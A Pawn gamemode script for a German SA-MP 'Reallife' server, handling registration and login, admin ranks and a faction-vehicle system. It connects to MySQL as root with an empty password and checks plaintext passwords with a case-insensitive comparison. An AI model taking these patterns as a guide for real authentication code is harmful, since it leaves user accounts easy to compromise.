· 7 years ago · Dec 09, 2018, 06:08 PM
1/*
2Admin Ränge:
3Level 1: Supporter
4Level 2: Moderator
5Level 3: Administrator
6Level 4: Super Administrator
7Level 5: Stelv. Projektleitung
8Level 6: Projektleitung
9
10Changelog
11> Fraktionscar Menü
12> Hilfe mit Admin System
13> Box System
14*/
15
16
17#include <a_samp>
18#include <a_mysql>
19#include <ocmd>
20
21#define MYSQLHOST "127.0.0.1"
22#define MYSQLUSER "root"
23#define MYSQLPASS ""
24#define MYSQLDATA "test"
25
26// === Fraktion ´s System einstellungen === //
27#define Fraction_Car_File "Fractioncars.cfg"
28#define MAX_FRACTION_CARS 500
29#define MAX_FRACTIONS 20
30/////////////////////////////////////////////
31
32
33#define DIALOG_REGISTER 1
34#define DIALOG_LOGIN 2
35#define fDialog_Vehid 3
36#define fDialog_Col1 4
37#define fDialog_Col2 5
38#define fDialog_Fraction1 6
39#define fDialog_Fraction2 7
40#define fDialog_Fraction3 8
41#define fDialog_Fraction4 9
42#define fDialog_Fraction5 10
43#define fDialog_Create 11
44#define DIALOG_HILFE 12
45
46#define COLOR_WHITE 0xFFFFFFFF
47#define fColGrey 0xAFAFAFAA
48#define fColYellow 0xFFFF00FF
49
50forward GetPlayerLeader(playerid);
51forward GetPlayerMember(playerid);
52forward AccountSpeicherUpdater();
53forward LoadFractionCars();
54forward SaveFractionCars();
55forward fUnlockCar(Carid);
56forward fLockCar(Carid);
57forward RemoveFromCar(playerid);
58forward DestroyAndCreateFractionCar(fc);
59forward FractionLockDoors();
60
61new Text:ueberschrift[MAX_PLAYERS];
62new Text:insidetext[MAX_PLAYERS];
63
64
65new fCarName[][] =
66{
67 "Landstalker","Bravura","Buffalo", "Linerunner", "Perrenial", "Sentinel",
68 "Dumper","Firetruck","Trashmaster", "Stretch", "Manana", "Infernus",
69 "Voodoo","Pony","Mule","Cheetah", "Ambulance", "Leviathan", "Moonbeam",
70 "Esperanto","Taxi","Washington", "Bobcat", "Whoopee", "BF Injection",
71 "Hunter","Premier","Enforcer", "Securicar", "Banshee", "Predator", "Bus",
72 "Rhino","Barracks","Hotknife", "Trailer", "Previon", "Coach", "Cabbie",
73 "Stallion","Rumpo","RC Bandit", "Romero", "Packer", "Monster", "Admiral",
74 "Squalo","Seasparrow","Pizzaboy", "Tram", "Trailer", "Turismo", "Speeder",
75 "Reefer","Tropic","Flatbed", "Yankee", "Caddy", "Solair", "Berkley's RC Van",
76 "Skimmer","PCJ-600","Faggio", "Freeway", "RC Baron", "RC Raider", "Glendale",
77 "Oceanic","Sanchez","Sparrow", "Patriot", "Quad", "Coastguard", "Dinghy",
78 "Hermes","Sabre","Rustler", "ZR-350", "Walton", "Regina", "Comet", "BMX",
79 "Burrito","Camper","Marquis", "Baggage", "Dozer", "Maverick", "News Chopper",
80 "Rancher","FBI Rancher","Virgo", "Greenwood", "Jetmax", "Hotring", "Sandking",
81 "Blista Compact","Police Maverick", "Boxvillde", "Benson", "Mesa", "RC Goblin",
82 "Hotring Racer A","Hotring Racer B", "Bloodring Banger", "Rancher", "Super GT",
83 "Elegant","Journey","Bike", "Mountain Bike", "Beagle", "Cropduster", "Stunt",
84 "Tanker","Roadtrain","Nebula", "Majestic", "Buccaneer", "Shamal", "Hydra",
85 "FCR-900","NRG-500","HPV1000", "Cement Truck", "Tow Truck", "Fortune",
86 "Cadrona","FBI Truck","Willard", "Forklift", "Tractor", "Combine", "Feltzer",
87 "Remington","Slamvan","Blade", "Freight", "Streak", "Vortex", "Vincent",
88 "Bullet","Clover","Sadler", "Firetruck", "Hustler", "Intruder", "Primo",
89 "Cargobob","Tampa","Sunrise", "Merit", "Utility", "Nevada", "Yosemite",
90 "Windsor","Monster","Monster", "Uranus", "Jester", "Sultan", "Stratum",
91 "Elegy","Raindance","RC Tiger", "Flash", "Tahoma", "Savanna", "Bandito",
92 "Freight Flat","Streak Carriage", "Kart", "Mower", "Dune", "Sweeper",
93 "Broadway","Tornado","AT-400", "DFT-30", "Huntley", "Stafford", "BF-400",
94 "News Van","Tug","Trailer","Emperor", "Wayfarer", "Euros", "Hotdog", "Club",
95 "Freight Box","Trailer", "Andromada","Dodo", "RC Cam", "Launch", "Police Car",
96 "Police Car","Police Car", "Police Ranger", "Picador", "S.W.A.T", "Alpha",
97 "Phoenix","2. Gebrauchtwagen","1. Gebrauchtwagen", "Luggage", "Luggage", "Stairs", "Boxville",
98 "Tiller","Utility Trailer"
99};
100
101enum fInfo
102{
103 bool:fLock,
104 fCarid,
105 fVehid,
106 Float:fPos[4],
107 fCol[2],
108 fFraction[5]
109};
110
111enum userinfo
112{
113 pName[MAX_PLAYER_NAME],
114 pLevel,
115 pGeld,
116 pKills,
117 pTode,
118 pLeader,
119 pMember,
120 pAdmin
121};
122new uInfo[MAX_PLAYERS][userinfo];
123new FractionCars[MAX_FRACTION_CARS][fInfo];
124new FractionTimer;
125
126main()
127{
128 print("GRAND THEFT AUTO: REALLIFE");
129}
130
131public OnGameModeInit()
132{
133 Connect_To_Database();
134 SetGameModeText("GRAND THEFT AUTO: RL");
135 AddPlayerClass(0, 1958.3783, 1343.1572, 15.3746, 269.1425, 0, 0, 0, 0, 0, 0);
136 SetTimer("AccountSpeicherUpdater",50000, true);
137 LoadFractionCars();
138 FractionTimer=SetTimer("FractionLockDoors",1000,true);
139 return 1;
140}
141
142public AccountSpeicherUpdater()
143{
144 for(new i = 0; i < MAX_PLAYERS; i++)
145 {
146 SavePlayer(i);
147 }
148 return 1;
149}
150
151public OnGameModeExit()
152{
153 SaveFractionCars();
154 KillTimer(FractionTimer);
155 return 1;
156}
157public OnPlayerRequestClass(playerid, classid)
158{
159 SetPlayerPos(playerid, 1958.3783, 1343.1572, 15.3746);
160 SetPlayerCameraPos(playerid, 1958.3783, 1343.1572, 15.3746);
161 SetPlayerCameraLookAt(playerid, 1958.3783, 1343.1572, 15.3746);
162 if(GetPVarInt(playerid,"Eingeloggt") == 0)
163 {
164 if(mysql_CheckAccount(playerid) == 0)
165 {
166 SendClientMessage(playerid, 0xFFFFFFFF,":: HERZLICH WILLKOMMEN AUF GRAND THEFT AUTO: RL ::");
167 SendClientMessage(playerid, 0xFFFFFFFF,"Dein Account wurde nicht gefunden, bitte Registriere dich!");
168 ShowPlayerDialog(playerid,DIALOG_REGISTER,DIALOG_STYLE_INPUT,"Registrieren","Bitte Gib ein Passwort an:","Register","Exit");
169 }
170 else if(mysql_CheckAccount(playerid) == 1)
171 {
172 SendClientMessage(playerid, 0xFFFFFFFF,":: HERZLICH WILLKOMMEN AUF GRAND THEFT AUTO: RL ::");
173 SendClientMessage(playerid, 0xFFFFFFFF,"Dein Account wurde gefunden, bitte Log dich nun ein!");
174 ShowPlayerDialog(playerid,DIALOG_LOGIN,DIALOG_STYLE_INPUT,"Anmelden","Bitte gib dein Passwort ein:","Login","Abbrechen");
175 }
176 }
177 return 1;
178}
179
180public OnPlayerConnect(playerid)
181{
182 ueberschrift[playerid] = TextDrawCreate(501.000000, 222.000000, "info");
183 TextDrawBackgroundColor(ueberschrift[playerid], 50);
184 TextDrawFont(ueberschrift[playerid], 1);
185 TextDrawLetterSize(ueberschrift[playerid], 0.320000, 1.299999);
186 TextDrawColor(ueberschrift[playerid], -1);
187 TextDrawSetOutline(ueberschrift[playerid], 1);
188 TextDrawSetProportional(ueberschrift[playerid], 1);
189 TextDrawUseBox(ueberschrift[playerid], 1);
190 TextDrawBoxColor(ueberschrift[playerid], 6062591);
191 TextDrawTextSize(ueberschrift[playerid], 586.000000, 0.000000);
192
193 insidetext[playerid] = TextDrawCreate(501.000000, 237.000000, "neki insidetext ide ovde za test~n~neki insidetext ide ovde~n~i tako dalje aaaaa");
194 TextDrawBackgroundColor(insidetext[playerid], 50);
195 TextDrawFont(insidetext[playerid], 2);
196 TextDrawLetterSize(insidetext[playerid], 0.270000, 1.000000);
197 TextDrawColor(insidetext[playerid], -1);
198 TextDrawSetOutline(insidetext[playerid], 1);
199 TextDrawSetProportional(insidetext[playerid], 1);
200 TextDrawUseBox(insidetext[playerid], 1);
201 TextDrawBoxColor(insidetext[playerid], 150);
202 TextDrawTextSize(insidetext[playerid], 586.000000, 0.000000);
203 return 1;
204}
205
206public OnPlayerDisconnect(playerid, reason)
207{
208 SavePlayer(playerid);
209 DeletePVar(playerid,"Eingeloggt");
210 return 1;
211}
212
213public OnPlayerSpawn(playerid)
214{
215 if(uInfo[playerid][pLeader] == 1 || uInfo[playerid][pMember] == 1)
216 {
217 SetPlayerPos(playerid, 0,0,0);
218 SetPlayerSkin(playerid, 282);
219 SetPlayerColor(playerid, 0xFFFFFFFF);
220 Weapon(playerid, 31, 999);
221 }
222 else if(uInfo[playerid][pLeader] == 2 || uInfo[playerid][pMember] == 2)
223 {
224 Weapon(playerid, 31, 999);
225 }
226 else //Zivilist
227 {
228 }
229 return 1;
230}
231
232stock Weapon(playerid, waffe, munition)
233{
234 GivePlayerWeapon(playerid, waffe, munition);
235 return 1;
236}
237
238public OnPlayerDeath(playerid, killerid, reason)
239{
240 return 1;
241}
242
243public OnVehicleSpawn(vehicleid)
244{
245 return 1;
246}
247
248public OnVehicleDeath(vehicleid, killerid)
249{
250 new fc;while(fc<MAX_FRACTION_CARS)
251 {
252 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611)
253 {
254 if(FractionCars[fc][fCarid] == vehicleid)
255 {
256 SetTimerEx("DestroyAndCreateFractionCar",3000,0,"d",fc);
257 break;
258 }
259 }
260 fc++;
261 }
262 return 1;
263}
264
265public OnPlayerText(playerid, text[])
266{
267 return 1;
268}
269
270public OnPlayerCommandText(playerid, cmdtext[])
271{
272 return CreateBox(playerid, "FEHLER", "Befehl existiert nicht!");
273}
274
275public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
276{
277 return 1;
278}
279
280public OnPlayerExitVehicle(playerid, vehicleid)
281{
282 return 1;
283}
284
285public OnPlayerStateChange(playerid, newstate, oldstate)
286{
287 if(newstate==PLAYER_STATE_DRIVER)
288 {
289 new Carid=GetPlayerVehicleID(playerid);
290 new fc;while(fc<MAX_FRACTION_CARS)
291 {
292 if(FractionCars[fc][fVehid] >= 400 && FractionCars[fc][fVehid] <= 611)
293 {
294 if(FractionCars[fc][fCarid] == Carid)
295 {
296 for(new f;f<5;f++)
297 {
298 if(uInfo[playerid][pAdmin] >= 4 || PlayerFraction(playerid) == FractionCars[fc][fFraction][f])
299 return true;
300 }
301 CreateBox(playerid, "FEHLER", "Du hast keine Schlüssel!");
302 RemovePlayerFromVehicle(playerid);
303 SetTimerEx("RemoveFromCar",2500,false,"i",playerid);
304 return true;
305 }
306 }
307 fc++;
308 }
309 }
310 return 1;
311}
312
313public OnPlayerEnterCheckpoint(playerid)
314{
315 return 1;
316}
317
318public OnPlayerLeaveCheckpoint(playerid)
319{
320 return 1;
321}
322
323public OnPlayerEnterRaceCheckpoint(playerid)
324{
325 return 1;
326}
327
328public OnPlayerLeaveRaceCheckpoint(playerid)
329{
330 return 1;
331}
332
333public OnRconCommand(cmd[])
334{
335 return 1;
336}
337
338public OnPlayerRequestSpawn(playerid)
339{
340 return 1;
341}
342
343public OnObjectMoved(objectid)
344{
345 return 1;
346}
347
348public OnPlayerObjectMoved(playerid, objectid)
349{
350 return 1;
351}
352
353public OnPlayerPickUpPickup(playerid, pickupid)
354{
355 return 1;
356}
357
358public OnVehicleMod(playerid, vehicleid, componentid)
359{
360 return 1;
361}
362
363public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
364{
365 return 1;
366}
367
368public OnVehicleRespray(playerid, vehicleid, color1, color2)
369{
370 return 1;
371}
372
373public OnPlayerSelectedMenuRow(playerid, row)
374{
375 return 1;
376}
377
378public OnPlayerExitedMenu(playerid)
379{
380 return 1;
381}
382
383public OnPlayerInteriorChange(playerid, newinteriorid, oldinteriorid)
384{
385 return 1;
386}
387
388public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
389{
390 return 1;
391}
392
393public OnRconLoginAttempt(ip[], password[], success)
394{
395 return 1;
396}
397
398public OnPlayerUpdate(playerid)
399{
400 return 1;
401}
402
403public OnPlayerStreamIn(playerid, forplayerid)
404{
405 return 1;
406}
407
408public OnPlayerStreamOut(playerid, forplayerid)
409{
410 return 1;
411}
412
413public OnVehicleStreamIn(vehicleid, forplayerid)
414{
415 return 1;
416}
417
418public OnVehicleStreamOut(vehicleid, forplayerid)
419{
420 return 1;
421}
422
423public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
424{
425 if(dialogid == DIALOG_REGISTER)
426 {
427 if(response)
428 {
429 if(strlen(inputtext) == 0)
430 {
431 ShowPlayerDialog(playerid,DIALOG_REGISTER,DIALOG_STYLE_INPUT,"Register","Das angegebene Passwort war zu Kurtz...\nBitte Registrier dich jetzt mit einem Passwort:","Register","Abbrechen");
432 return 1;
433 }
434 else
435 {
436 CreateAccount(playerid, inputtext);
437 SetPVarInt(playerid,"Eingeloggt",1);
438 SpawnPlayer(playerid);
439 return 1;
440 }
441 }
442 else
443 {
444 Kick(playerid);
445 }
446 }
447 if(dialogid == DIALOG_LOGIN)
448 {
449 if(response)
450 {
451 if(strlen(inputtext) == 0)
452 {
453 ShowPlayerDialog(playerid,DIALOG_LOGIN,DIALOG_STYLE_INPUT,"Login","Das Angegebene Passwort war Falsch.\nBitte log dich jetzt mit dem richtigen Passwort ein:","Login","Abbrechen");
454 return 1;
455 }
456 else
457 {
458 new SpielerName[MAX_PLAYER_NAME];
459 GetPlayerName(playerid, SpielerName, MAX_PLAYER_NAME);
460 if(!strcmp(inputtext, mysql_ReturnPasswort(SpielerName), true))
461 {
462 SetPVarInt(playerid,"Eingeloggt",1);
463 LoadPlayer(playerid);
464 SpawnPlayer(playerid);
465 return 1;
466 }
467 else
468 {
469 ShowPlayerDialog(playerid,DIALOG_LOGIN,DIALOG_STYLE_INPUT,"Login","Das war das Falsche Passwort.\nBitte log dich jetzt mit dem richtigen Passwort ein:","Login","Abbrechen");
470 return 1;
471 }
472 }
473 }
474 else
475 {
476 Kick(playerid);
477 }
478 }
479 if(dialogid==fDialog_Vehid){
480 if(!response) return CreateBox(playerid, "FEHLER", "Vorgang Abgebrochen!");
481 if(strval(inputtext) >= 400 && strval(inputtext) <= 611){
482 SetPVarInt(playerid,"fVehid",strval(inputtext));
483 return ShowPlayerDialog(playerid,fDialog_Col1,DIALOG_STYLE_INPUT,"Farbe 1 angeben:","Bitte gebe die 1. Farbe an, die das Fahrzeug besitzen soll:","Weiter","Abbrechen");
484 }return ShowPlayerDialog(playerid,fDialog_Vehid,DIALOG_STYLE_INPUT,"Fraktionsfahrzeug erstellen:","Fehler!\nUnbekannte Vehicle-ID (Nur 400 - 611)\n\nBitte gebe die Vehicle-ID des Fahrzeuges an, das du erstellen möchtest:","Weiter","Abbrechen");
485 }
486 if(dialogid==fDialog_Col1){
487 if(!response) return CreateBox(playerid, "FEHLER", "Vorgang Abgebrochen!");
488 if((strval(inputtext) >= 0 && strval(inputtext) <= 126) || (strval(inputtext) >= 130 && strval(inputtext) <= 132) || (strval(inputtext) == 142 || strval(inputtext) == 144) || (strval(inputtext) >= 146 && strval(inputtext) <= 161) || (strval(inputtext) >= 173 && strval(inputtext) <= 175) || (strval(inputtext) == 236 ||strval(inputtext) == 237 ||strval(inputtext) == 239 ||strval(inputtext) == 243 ||strval(inputtext) == 252)){
489 SetPVarInt(playerid,"fCol1",strval(inputtext));
490 return ShowPlayerDialog(playerid,fDialog_Col2,DIALOG_STYLE_INPUT,"Farbe 2 angeben:","Bitte gebe die 2. Farbe an, die das Fahrzeug besitzen soll:","Weiter","Abbrechen");
491 }return ShowPlayerDialog(playerid,fDialog_Col1,DIALOG_STYLE_INPUT,"Farbe 1 angeben:","Fehler!\nUnbekannte Farb-ID\n\nBitte gebe die 1. Farbe an, die das Fahrzeug besitzen soll:","Weiter","Abbrechen");
492 }
493 if(dialogid==fDialog_Col2){
494 if(!response) return CreateBox(playerid, "FEHLER", "Vorgang Abgebrochen!");
495 if((strval(inputtext) >= 0 && strval(inputtext) <= 126) || (strval(inputtext) >= 130 && strval(inputtext) <= 132) || (strval(inputtext) == 142 || strval(inputtext) == 144) || (strval(inputtext) >= 146 && strval(inputtext) <= 161) || (strval(inputtext) >= 173 && strval(inputtext) <= 175) || (strval(inputtext) == 236 ||strval(inputtext) == 237 ||strval(inputtext) == 239 ||strval(inputtext) == 243 ||strval(inputtext) == 252)){
496 SetPVarInt(playerid,"fCol2",strval(inputtext));
497 return ShowPlayerDialog(playerid,fDialog_Fraction1,DIALOG_STYLE_INPUT,"Hauptfraktion angeben:","Bitte gebe nun die Fraktion an die das Fahrzeug Besitzen soll:","Erstellen","Weiter");
498 }return ShowPlayerDialog(playerid,fDialog_Col2,DIALOG_STYLE_INPUT,"Farbe 2 angeben:","Fehler!\nUnbekannte Farb-ID\n\nBitte gebe die 2. Farbe an, die das Fahrzeug besitzen soll:","Weiter","Abbrechen");
499 }
500 if(dialogid==fDialog_Fraction1){
501 new Fractiontext[1024];
502 if(response){
503 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
504 SetPVarInt(playerid,"fFraction1",strval(inputtext));
505 SetPVarInt(playerid,"fFraction2",-255);
506 SetPVarInt(playerid,"fFraction3",-255);
507 SetPVarInt(playerid,"fFraction4",-255);
508 SetPVarInt(playerid,"fFraction5",-255);
509 format(Fractiontext,sizeof(Fractiontext),"Fraktionsfahrzeug erstellen:\n\nFahrzeug: %s (ID:%d)\n1. Farbe: %d\n2. Farbe: %d\nHauptfraktion: %d\n2. Fraktion: N/A\n3. Fraktion: N/A\n4. Fraktion: N/A\n5. Fraktion: N/A\n\nUm das Fraktionsfahrzeug zu erstellen drücke den Button: 'Erstellen'.",
510 fCarName[GetPVarInt(playerid,"fVehid")-400],
511 GetPVarInt(playerid,"fVehid"),
512 GetPVarInt(playerid,"fCol1"),
513 GetPVarInt(playerid,"fCol2"),
514 strval(inputtext));
515 return ShowPlayerDialog(playerid,fDialog_Create,DIALOG_STYLE_MSGBOX,"Bestätige:",Fractiontext,"Erstellen","Abbrechen");
516 }
517 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug Besitzen soll:",MAX_FRACTIONS);
518 return ShowPlayerDialog(playerid,fDialog_Fraction1,DIALOG_STYLE_INPUT,"Hauptfraktion angeben:",Fractiontext,"Erstellen","Weiter");
519 }
520 if(!response){
521 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
522 SetPVarInt(playerid,"fFraction1",strval(inputtext));
523 return ShowPlayerDialog(playerid,fDialog_Fraction2,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:","Bitte gebe nun eine Fraktion an die das Fahrzeug benutzen darf:","Erstellen","Weiter");
524 }
525 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug Besitzen soll:",MAX_FRACTIONS);
526 return ShowPlayerDialog(playerid,fDialog_Fraction1,DIALOG_STYLE_INPUT,"Hauptfraktion angeben:",Fractiontext,"Erstellen","Weiter");
527 }
528 }
529 if(dialogid==fDialog_Fraction2){
530 new Fractiontext[1024];
531 if(response){
532 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
533 SetPVarInt(playerid,"fFraction2",strval(inputtext));
534 SetPVarInt(playerid,"fFraction3",-255);
535 SetPVarInt(playerid,"fFraction4",-255);
536 SetPVarInt(playerid,"fFraction5",-255);
537 format(Fractiontext,sizeof(Fractiontext),"Fraktionsfahrzeug erstellen:\n\nFahrzeug: %s (ID:%d)\n1. Farbe: %d\n2. Farbe: %d\nHauptfraktion: %d\n2. Fraktion: %d\n3. Fraktion: N/A\n4. Fraktion: N/A\n5. Fraktion: N/A\n\nUm das Fraktionsfahrzeug zu erstellen drücke den Button: 'Erstellen'.",
538 fCarName[GetPVarInt(playerid,"fVehid")-400],
539 GetPVarInt(playerid,"fVehid"),
540 GetPVarInt(playerid,"fCol1"),
541 GetPVarInt(playerid,"fCol2"),
542 GetPVarInt(playerid,"fFraction1"),
543 strval(inputtext));
544 return ShowPlayerDialog(playerid,fDialog_Create,DIALOG_STYLE_MSGBOX,"Bestätige:",Fractiontext,"Erstellen","Abbrechen");
545 }
546 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
547 return ShowPlayerDialog(playerid,fDialog_Fraction2,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
548 }
549 if(!response){
550 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
551 SetPVarInt(playerid,"fFraction2",strval(inputtext));
552 return ShowPlayerDialog(playerid,fDialog_Fraction3,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:","Bitte gebe nun eine Fraktion an die das Fahrzeug benutzen darf:","Erstellen","Weiter");
553 }
554 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
555 return ShowPlayerDialog(playerid,fDialog_Fraction2,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
556 }
557 }
558 if(dialogid==fDialog_Fraction3){
559 new Fractiontext[1024];
560 if(response){
561 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
562 SetPVarInt(playerid,"fFraction3",strval(inputtext));
563 SetPVarInt(playerid,"fFraction4",-255);
564 SetPVarInt(playerid,"fFraction5",-255);
565 format(Fractiontext,sizeof(Fractiontext),"Fraktionsfahrzeug erstellen:\n\nFahrzeug: %s (ID:%d)\n1. Farbe: %d\n2. Farbe: %d\nHauptfraktion: %d\n2. Fraktion: %d\n3. Fraktion: %d\n4. Fraktion: N/A\n5. Fraktion: N/A\n\nUm das Fraktionsfahrzeug zu erstellen drücke den Button: 'Erstellen'.",
566 fCarName[GetPVarInt(playerid,"fVehid")-400],
567 GetPVarInt(playerid,"fVehid"),
568 GetPVarInt(playerid,"fCol1"),
569 GetPVarInt(playerid,"fCol2"),
570 GetPVarInt(playerid,"fFraction1"),
571 GetPVarInt(playerid,"fFraction2"),
572 strval(inputtext));
573 return ShowPlayerDialog(playerid,fDialog_Create,DIALOG_STYLE_MSGBOX,"Bestätige:",Fractiontext,"Erstellen","Abbrechen");
574 }
575 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
576 return ShowPlayerDialog(playerid,fDialog_Fraction3,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
577 }
578 if(!response){
579 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
580 SetPVarInt(playerid,"fFraction3",strval(inputtext));
581 return ShowPlayerDialog(playerid,fDialog_Fraction4,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:","Bitte gebe nun eine Fraktion an die das Fahrzeug benutzen darf:","Erstellen","Weiter");
582 }
583 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
584 return ShowPlayerDialog(playerid,fDialog_Fraction3,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
585 }
586 }
587 if(dialogid==fDialog_Fraction4){
588 new Fractiontext[1024];
589 if(response){
590 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
591 SetPVarInt(playerid,"fFraction4",strval(inputtext));
592 SetPVarInt(playerid,"fFraction5",-255);
593 format(Fractiontext,sizeof(Fractiontext),"Fraktionsfahrzeug erstellen:\n\nFahrzeug: %s (ID:%d)\n1. Farbe: %d\n2. Farbe: %d\nHauptfraktion: %d\n2. Fraktion: %d\n3. Fraktion: %d\n4. Fraktion: %d\n5. Fraktion: N/A\n\nUm das Fraktionsfahrzeug zu erstellen drücke den Button: 'Erstellen'.",
594 fCarName[GetPVarInt(playerid,"fVehid")-400],
595 GetPVarInt(playerid,"fVehid"),
596 GetPVarInt(playerid,"fCol1"),
597 GetPVarInt(playerid,"fCol2"),
598 GetPVarInt(playerid,"fFraction1"),
599 GetPVarInt(playerid,"fFraction2"),
600 GetPVarInt(playerid,"fFraction3"),
601 strval(inputtext));
602 return ShowPlayerDialog(playerid,fDialog_Create,DIALOG_STYLE_MSGBOX,"Bestätige:",Fractiontext,"Erstellen","Abbrechen");
603 }
604 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
605 return ShowPlayerDialog(playerid,fDialog_Fraction4,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
606 }
607 if(!response){
608 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
609 SetPVarInt(playerid,"fFraction4",strval(inputtext));
610 return ShowPlayerDialog(playerid,fDialog_Fraction5,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:","Bitte gebe nun eine Fraktion an die das Fahrzeug benutzen darf:","Erstellen","Abbrechen");
611 }
612 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
613 return ShowPlayerDialog(playerid,fDialog_Fraction4,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
614 }
615 }
616 if(dialogid==fDialog_Fraction5){
617 if(!response){
618 return CreateBox(playerid, "FEHLER", "Vorgang Abgebrochen!");
619 }
620 if(response){
621 new Fractiontext[1024];
622 if(strval(inputtext) >= 1 && strval(inputtext) <= MAX_FRACTIONS){
623 SetPVarInt(playerid,"fFraction5",strval(inputtext));
624 format(Fractiontext,sizeof(Fractiontext),"Fraktionsfahrzeug erstellen:\n\nFahrzeug: %s (ID:%d)\n1. Farbe: %d\n2. Farbe: %d\nHauptfraktion: %d\n2. Fraktion: %d\n3. Fraktion: %d\n4. Fraktion: %d\n5. Fraktion: %d\n\nUm das Fraktionsfahrzeug zu erstellen drücke den Button: 'Erstellen'.",
625 fCarName[GetPVarInt(playerid,"fVehid")-400],
626 GetPVarInt(playerid,"fVehid"),
627 GetPVarInt(playerid,"fCol1"),
628 GetPVarInt(playerid,"fCol2"),
629 GetPVarInt(playerid,"fFraction1"),
630 GetPVarInt(playerid,"fFraction2"),
631 GetPVarInt(playerid,"fFraction3"),
632 GetPVarInt(playerid,"fFraction4"),
633 strval(inputtext));
634 return ShowPlayerDialog(playerid,fDialog_Create,DIALOG_STYLE_MSGBOX,"Bestätige:",Fractiontext,"Erstellen","Abbrechen");
635 }
636 format(Fractiontext,sizeof(Fractiontext),"Fehler!\nFraktionen nur von 1 - %d\n\nBitte gebe nun die Fraktion an die das Fahrzeug benutzen darf:",MAX_FRACTIONS);
637 return ShowPlayerDialog(playerid,fDialog_Fraction5,DIALOG_STYLE_INPUT,"Weitere Fraktion angeben:",Fractiontext,"Erstellen","Weiter");
638 }
639 }
640 if(dialogid==fDialog_Create){
641 if(!response){
642 return CreateBox(playerid, "FEHLER", "Vorgang Abgebrochen!");
643 }
644 new fc;while(fc<MAX_FRACTION_CARS){
645 if(FractionCars[fc][fVehid] <= 400 || FractionCars[fc][fVehid] >= 611){
646 FractionCars[fc][fVehid] = GetPVarInt(playerid,"fVehid");
647 new Float:fX,Float:fY,Float:fZ,Float:fA;
648 GetPlayerPos(playerid,fX,fY,fZ),GetPlayerFacingAngle(playerid,fA);
649 FractionCars[fc][fPos][0] = fX;
650 FractionCars[fc][fPos][1] = fY;
651 FractionCars[fc][fPos][2] = fZ;
652 FractionCars[fc][fPos][3] = fA;
653 FractionCars[fc][fCol][0] = GetPVarInt(playerid,"fCol1");
654 FractionCars[fc][fCol][1] = GetPVarInt(playerid,"fCol2");
655 FractionCars[fc][fFraction][0] = GetPVarInt(playerid,"fFraction1");
656 FractionCars[fc][fFraction][1] = GetPVarInt(playerid,"fFraction2");
657 FractionCars[fc][fFraction][2] = GetPVarInt(playerid,"fFraction3");
658 FractionCars[fc][fFraction][3] = GetPVarInt(playerid,"fFraction4");
659 FractionCars[fc][fFraction][4] = GetPVarInt(playerid,"fFraction5");
660 FractionCars[fc][fCarid] = CreateVehicle(FractionCars[fc][fVehid],FractionCars[fc][fPos][0],FractionCars[fc][fPos][1],FractionCars[fc][fPos][2],FractionCars[fc][fPos][3],FractionCars[fc][fCol][0],FractionCars[fc][fCol][1],-255);
661 FractionCars[fc][fLock] = true;
662 CreateBox(playerid, "INFO", "Fahrzeug erfolgreich erstellt, Leader/Du kannst das Fahrzeug mit '/fpark' parken.");
663 PutPlayerInVehicle(playerid,FractionCars[fc][fCarid],0);
664 return true;
665 }fc++;
666 }
667 }
668 if(dialogid == DIALOG_HILFE)
669 {
670 if(response == 1)
671 {
672 if(listitem == 0) //Generelle Hilfe
673 {
674 }
675 if(listitem == 1) //Job Hilfe
676 {
677 }
678 if(uInfo[playerid][pAdmin] >= 1)
679 {
680 if(listitem == 2) // Admin Hilfe
681 {
682 }
683 }
684 }
685 if(response == 0)
686 { }
687 }
688 return 1;
689}
690
